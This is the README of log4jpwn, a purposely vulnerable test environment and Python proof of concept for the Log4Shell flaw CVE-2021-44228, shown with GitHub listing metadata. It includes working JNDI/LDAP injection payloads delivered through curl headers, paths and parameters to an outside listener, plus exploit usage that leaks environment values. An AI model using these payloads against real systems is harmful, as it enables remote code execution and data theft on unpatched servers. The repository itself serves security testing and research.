https://github.com/leonjza/log4jpwn

log4j rce test environment and poc
https://github.com/leonjza/log4jpwn

cve-2021-44228 log4j log4shell rce

Last synced: 18 days ago
JSON representation

log4j rce test environment and poc

• Host: GitHub
• URL: https://github.com/leonjza/log4jpwn
• Owner: leonjza
• License: gpl-3.0
• Created: 2021-12-10T08:10:13.000Z (about 3 years ago)
• Default Branch: master
• Last Pushed: 2021-12-15T17:18:08.000Z (almost 3 years ago)
• Last Synced: 2024-11-17T07:00:34.108Z (26 days ago)
• Topics: cve-2021-44228, log4j, log4shell, rce
• Language: Python
• Homepage:
• Size: 1.09 MB
• Stars: 311
• Watchers: 7
• Forks: 88
• Open Issues: 1
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - leonjza/log4jpwn - log4j rce test environment and poc (Python)

README

        
# log4jpwn

log4j rce test environment. See: 

This repository contains an intentionally vulnerable playground to play with CVE-2021-44228 (aka: log4shell)

Experiments to trigger the vulnerability in various software products mentioned [here](https://github.com/NCSC-NL/log4shell/tree/main/software) can be found in the [vuln-software/](vuln-software/) directory.

## examples

![1](images/image.png)

using the included python poc

![2](images/poc.png)

## build

Either build the jar on your host with `mvn clean compile assembly:single`

Or use `docker` to build an image with `docker build -t log4jpwn .`

## run

The server will log 3 things (which are also the triggers). You don't have to set all 3:

- The `User-Agent` header content

- The request path

- The `pwn` query string parameter

To use:

- Run the container with `docker run --rm -p8080:8080 log4jpwn` (or the jar if you built on your host with `java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar`)

- Make a `curl` request with a poisoned `User-Agent` header with your payload. eg `curl -H 'User-Agent: ${jndi:ldap://172.16.182.1:8081/a}' localhost:8080`, where 172.16.182.1 is where my netcat lister is running.

A complete example for all 3 bits that gets logged:

```bash

curl -v -H 'User-Agent: ${jndi:ldap://192.168.0.1:443/a}' 'localhost:8080/${jndi:ldap://192.168.0.1:443/a}/?pwn=$\{jndi:ldap://192.168.0.1:443/a\}'

```

## run - exploit

The python exploit will leak values. By default it will try `${java:version}`, but you can specify anything with the `--leak` flag.

Usage is:

```text

❯ ./pwn.py --help

usage: pwn.py [-h] --target TARGET [--listen-host LISTEN_HOST] [--listen-port LISTEN_PORT] --exploit-host EXPLOIT_HOST [--leak LEAK]

a simple log4j <=2.14 information disclosure poc (ref: https://twitter.com/Black2Fan/status/1470281005038817284)

optional arguments:

  -h, --help            show this help message and exit

  --target TARGET, -t TARGET

                        target uri

  --listen-host LISTEN_HOST

                        exploit server host to listen on (default: 127.0.0.1)

  --listen-port LISTEN_PORT, -lp LISTEN_PORT

                        exploit server port to listen on (default: 8888)

  --exploit-host EXPLOIT_HOST, -eh EXPLOIT_HOST

                        host where (this) exploit server is reachable

  --leak LEAK, -l LEAK  value to leak. see: https://twitter.com/Rayhan0x01/status/1469571563674505217 (default: ${java:version})

```

Example runs:

- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1`

- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --leak '${env:SHELL}'`

- `./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --listen-port 5555`